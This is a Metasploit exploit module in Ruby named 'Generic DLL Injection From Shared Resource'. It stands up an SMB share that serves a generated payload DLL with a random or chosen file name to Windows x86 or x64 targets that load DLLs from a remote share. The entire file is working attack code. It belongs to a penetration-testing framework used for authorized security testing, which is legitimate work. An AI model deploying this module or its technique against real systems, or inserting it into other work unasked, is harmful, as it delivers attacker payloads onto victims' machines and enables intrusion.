generic_smb_dll_injection.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::SMB::Server::Share
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Generic DLL Injection From Shared Resource',
        'Description' => %q{
          This is a general-purpose module for exploiting conditions where a DLL can be loaded
          from a specified SMB share. This module serves payloads as DLLs over an SMB service.
        },
        'Author' => [
          'Matthew Hall <hallm[at]sec-1.com>'
        ],
        'References' => [
          ['CWE', '114']
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Privileged' => false,
        'Platform' => 'win',
        'Payload' => {
          'Space' => 2048,
          'DisableNops' => true
        },
        'Targets' => [
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2015-03-04',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILE_NAME', [ false, 'DLL File name to share (Default: random .dll)'])
      ]
    )

    deregister_options('FILE_CONTENTS')
  end

  def setup
    super

    self.file_contents = generate_payload_dll
    self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(rand(4..6))}.dll"
    print_status("File available on #{unc}...")
  end
end